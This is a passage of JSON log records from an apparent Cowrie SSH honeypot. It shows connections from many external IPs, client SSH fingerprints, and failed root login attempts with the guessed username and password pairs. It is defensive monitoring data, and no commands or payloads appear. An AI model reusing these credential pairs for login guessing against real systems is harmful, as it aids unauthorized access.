sh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:30.920984Z","src_ip":"102.88.137.213","session":"6842b83d1785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w00tw00t","message":"login attempt [root/w00tw00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:31.669899Z","src_ip":"102.88.137.213","session":"6842b83d1785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:32.851208Z","src_ip":"102.88.137.213","session":"6842b83d1785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":60854,"dst_ip":"10.17.0.5","dst_port":22,"session":"599bc415b9a9","protocol":"ssh","message":"New connection: 103.115.56.3:60854 (10.17.0.5:22) [session: 599bc415b9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:37.178942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:37.208738Z","src_ip":"103.115.56.3","session":"599bc415b9a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:37.443113Z","src_ip":"103.115.56.3","session":"599bc415b9a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ashley","message":"login attempt [root/ashley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:38.265880Z","src_ip":"103.115.56.3","session":"599bc415b9a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:39.478629Z","src_ip":"103.115.56.3","session":"599bc415b9a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47120,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc6a6abc806","protocol":"ssh","message":"New connection: 37.233.85.71:47120 (10.17.0.5:22) [session: 5cc6a6abc806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:46.605310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:46.610009Z","src_ip":"37.233.85.71","session":"5cc6a6abc806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:46.714916Z","src_ip":"37.233.85.71","session":"5cc6a6abc806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258963","message":"login attempt [root/258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:47.028423Z","src_ip":"37.233.85.71","session":"5cc6a6abc806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:48.136546Z","src_ip":"37.233.85.71","session":"5cc6a6abc806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37386,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d6309dad7a","protocol":"ssh","message":"New connection: 103.176.20.57:37386 (10.17.0.5:22) [session: 08d6309dad7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:49.033649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:49.038038Z","src_ip":"103.176.20.57","session":"08d6309dad7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:49.289281Z","src_ip":"103.176.20.57","session":"08d6309dad7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerasdfzxcv","message":"login attempt [root/1234qwerasdfzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:50.035915Z","src_ip":"103.176.20.57","session":"08d6309dad7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:51.286787Z","src_ip":"103.176.20.57","session":"08d6309dad7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":57670,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed584dee6059","protocol":"ssh","message":"New connection: 170.106.191.31:57670 (10.17.0.5:22) [session: ed584dee6059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:54.514671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:54.519701Z","src_ip":"170.106.191.31","session":"ed584dee6059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:54.587203Z","src_ip":"170.106.191.31","session":"ed584dee6059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NM1$88","message":"login attempt [root/NM1$88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:54.888196Z","src_ip":"170.106.191.31","session":"ed584dee6059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:55.959292Z","src_ip":"170.106.191.31","session":"ed584dee6059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":56956,"dst_ip":"159.203.135.109","dst_port":22,"session":"764498181a1b","protocol":"ssh","message":"New connection: 193.228.128.84:56956 (159.203.135.109:22) [session: 764498181a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:00.536769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:00.541289Z","src_ip":"193.228.128.84","session":"764498181a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:00.643620Z","src_ip":"193.228.128.84","session":"764498181a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"student","message":"login attempt [root/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:00.954673Z","src_ip":"193.228.128.84","session":"764498181a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:02.076693Z","src_ip":"193.228.128.84","session":"764498181a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42766,"dst_ip":"10.17.0.5","dst_port":22,"session":"be49b09cda2d","protocol":"ssh","message":"New connection: 80.94.92.184:42766 (10.17.0.5:22) [session: be49b09cda2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:16.517851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:16.539892Z","src_ip":"80.94.92.184","session":"be49b09cda2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:16.702727Z","src_ip":"80.94.92.184","session":"be49b09cda2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:17.298083Z","src_ip":"80.94.92.184","session":"be49b09cda2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34876,"dst_ip":"10.17.0.5","dst_port":22,"session":"09981b6b21a1","protocol":"ssh","message":"New connection: 103.27.238.120:34876 (10.17.0.5:22) [session: 09981b6b21a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:18.366383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:18.371801Z","src_ip":"103.27.238.120","session":"09981b6b21a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:18.532598Z","src_ip":"80.94.92.184","session":"be49b09cda2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:18.644206Z","src_ip":"103.27.238.120","session":"09981b6b21a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parlament","message":"login attempt [root/parlament] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:19.459740Z","src_ip":"103.27.238.120","session":"09981b6b21a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:20.735272Z","src_ip":"103.27.238.120","session":"09981b6b21a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":55246,"dst_ip":"10.17.0.5","dst_port":22,"session":"72151584f649","protocol":"ssh","message":"New connection: 103.115.56.3:55246 (10.17.0.5:22) [session: 72151584f649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:46.559401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:46.563873Z","src_ip":"103.115.56.3","session":"72151584f649","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:46.780854Z","src_ip":"103.115.56.3","session":"72151584f649","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asikhwal","message":"login attempt [root/asikhwal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:47.206032Z","src_ip":"103.115.56.3","session":"72151584f649","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:55:48.432333Z","src_ip":"103.115.56.3","session":"72151584f649","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":39726,"dst_ip":"10.17.0.5","dst_port":22,"session":"443edddd29eb","protocol":"ssh","message":"New connection: 170.106.191.31:39726 (10.17.0.5:22) [session: 443edddd29eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:56:01.838731Z"}
